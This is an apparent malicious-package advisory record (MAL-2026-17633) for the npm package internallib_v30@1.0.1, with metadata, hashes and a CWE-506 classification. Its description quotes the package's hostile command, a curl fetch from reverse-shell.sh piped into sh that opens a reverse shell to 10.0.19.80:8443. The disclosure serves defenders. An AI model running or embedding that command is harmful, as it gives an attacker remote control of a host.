Malicious code in internallib_v30 (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe) internallib_v30@1.0.1 ships a single index.js whose exported command() function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and piping it directly into sh. Invoking the exported function from any consumer causes the installer host to download and execute attacker-staged code that opens a reverse shell to 10.0.19.80 on port 8443. The package has no documented legitimate purpose, empty author/description metadata, and a name consistent with an internal/dependency-confusion target.
MAL-2026-17633
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17633
internallib_v30
Source reference: /affected/0/package/name
- Affected versions
- 1.0.1
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "internallib_v30",
"purl": "pkg:npm/internallib_v30",
"ecosystem": "npm"
},
"versions": [
"1.0.1"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v30/MAL-2026-17633.json",
"indicators": {
"evidence_files": [
{
"path": "index.js",
"tlsh": "c7c0c0b786d7023af74961e0de15f861b8478c703a3800b0b004405210c3c4e32070ff",
"sha256": "a08e3608d9cb7ab102dfda5140ebe691d5a115e6af5f0fc2518a66f232217ab4"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "2ae3cd34fe389b5edf1388c8bd97a7236745f279",
"sha512_sri": "sha512-AQaz8avUkGVKvqz/t/aAi/Z3xJ1nL3Ki6kZYACNo/hkHIgcTfOTJTz06vWuv/VkgFp3JjtfiggS+HLMd3+X+EA=="
},
"filename": "internallib_v30-1.0.1.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #86365 · Revision 1
- Added to Heist Feed
- Publisher date